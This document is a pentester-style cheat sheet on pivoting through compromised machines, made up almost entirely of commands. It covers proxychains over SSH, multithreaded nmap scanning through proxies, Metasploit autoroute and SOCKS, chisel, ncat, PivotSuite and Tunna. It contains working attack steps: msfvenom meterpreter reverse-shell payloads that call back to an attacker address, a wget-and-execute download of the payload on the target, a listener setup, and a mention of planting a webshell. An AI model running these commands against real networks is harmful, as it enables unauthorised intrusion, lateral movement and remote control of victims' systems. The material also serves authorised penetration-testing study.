Pivoting techniques

Proxychains Pivot

When you have access to a machine, you can use it as pivot to target machines

Getting known machines

arp -a

Setup SSH Dynamic on the attacking box

ssh -D <local_port> @

Setup proxychains in /etc/proxychains.conf

[ProxyList] socks4 127.0.0.1 <local_port>

Reduce timeout in /etc/proxychains.conf to gain speed

tcp_read_time_out 800 tcp_connect_time-out 800

Then

proxychains...

Scanning (nmap) can be very long through proxychains

You can speed it up by using xargs and multithreading

The main goal is to spread ports between different threads (-P 50)

$ seq 1 65535 | xargs -P 50 -I port proxychains -q nmap -p port -sT -T4 10.42.42.2 -oG 10.42.42.2 --open --append-output 10.42.42.2 -Pn -n

Take care of some options

You can't just run -oA but need the --append-output option

The same behavior can be used to scan multiple machines

The base command

$ proxychains nmap -p- -sT -T4 --top-ports 20 10.42.42.0/24 -oG 10.42.42.0 --open

Become

$ seq 1 254 | xargs -P 50 -I cpt proxychains -q nmap --top-ports 20 -sT -T4 10.42.42.cpt -oG 10.42.42.0 --open --append-output 10.42.42.cpt -Pn -n

Double Pivot Proxychains

Pivot 1 using proxychains

ssh -D 1080 user@IP_Network1

Configure /etc/proxychains to set port 1080

Pivot 2 using proxychains

proxychains ssh -D 1081 user@IP_Network2

Configure /etc/proxychains to set port 1081

proxychains nmap...

Port Forwarding

Windows

plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS

Metasploit

portfwd add -l 9090 -p 9090 -r TARGETIP

Reverse ssh tunnel, port forwarding 8090 from target to us:

ssh -R 8090:localhost:8090 user@ip

Local port forward, forward local 8090 to target:

ssh -L 8090:localhost:8090 user@ip

SSH Pivoting

Local port forwarding

Local port opened on 127.0.0.1 (bind)

-N == no command executed (only ssh tunnel)

sshuttle

Transparent proxy over SSH

Forwarding traffic through the pivot

It will then auto create necessary iptables rules

sshuttle -r user@pivoting_machine x.x.x.x/24

You can also let sshuttle detect networks based on the target

-x == exclude some network to not transmit over the tunnel

sshuttle -vNr user@pivoting_machine -x x.x.x.x.x/24

Metasploit pivoting

Reverse Shell generation

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.149 LPORT=8080 -f elf --platform linux --arch x64 > reverse.elf $ python -m http.server --bind 192.168.2.149 $ wget http://192.168.2.149:8000/reverse.elf $ chmod u+x reverse.elf

Setup listener

$ msfconsole -q msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > run

Autoroute module

msf5 > use post/multi/manage/autoroute msf5 post(multi/manage/autoroute) > set SESSION 1 msf5 post(multi/manage/autoroute) > set CMD add msf5 post(multi/manage/autoroute) > set SUBNET 10.42.42.0 msf5 post(multi/manage/autoroute) > set NETMASK /24 msf5 post(multi/manage/autoroute) > set CMD print msf5 post(multi/manage/autoroute) > run

On windows you can use post/windows/gather/arp_scanner to discover other machines

On Linux you can try arp -a

SOCKS proxy setup

msf5 > use auxiliary/server/socks4a msf5 auxiliary(server/socks4a) > set SRVPORT 1081 msf5 auxiliary(server/socks4a) > run

Now, equivalent to a dynamic SSH

Double Pivoting

Reverse shell from the pwned2 to the pwned1

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.42.42.1 LPORT=8088 -f exe --platform windows --arch x64 > reverse.exe

Setup handler and exploit the found vulnerability

Ncat pivoting

Ncat =/= netcat

Enhanced version, developped by nmap dev and often packaged with

Ciphered connexion, IP restriction

To pivot, needed on both attacker and pivot machine

Attacker (broker == accept multiple connexions)

$ ncat -lv --broker --max-conns 2

Pivot

We connect to attacker and target

$ ncat -v 192.168.2.149 31337 -c 'ncat -v 10.42.42.2 80'

Chisel Pivoting (HTTP Tunnel)

Chisel offers to encapsulate TCP connexions in HTTP tunnels

Everything is encrypted using SSH

Local port forwarding

Pivot machine

$ chisel server -p 8080 --host 192.168.2.105 -v

Attacker machine

$ chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:10.42.42.2:80

Local port forwarding + SOCKS proxy

Pivot machine

$ chisel server -p 8080 --host 192.168.2.105 --socks5 -v

Attacker machine

$ chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:socks

Reverse remote port forwarding

Attacker machine

$ chisel server -p 8888 --host 192.168.2.149 --reverse -v

Pivot machine

$ chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:10.42.42.2:80

PivotSuite

Similar features to other tools but support multilevel pivot

Like Metasploit

"Remote" local port forwarding

On the pivot

$ pivotsuite -S -F --server-option=PF --forward-ip=10.42.42.2 --forward-port=80 --server-ip=192.168.2.105 --server-port=8080

"Remote" dynamic port forwarding

$ pivotsuite -S -F --server-option=SP --server-ip=192.168.2.105 --server-port=8080

Tunna / Fulcrom (HTTP)

Everything is through HTTP

Bypass some IPS/IDS

First step is to deploy webshell on the target

Some are available with the tool (but not good)

Can be hard to use

Then on the attacker machine

$ python2 proxy.py -u http://192.168.2.105:8080/conn.php -l 7777 -r 80 -a 10.42.42.2 -v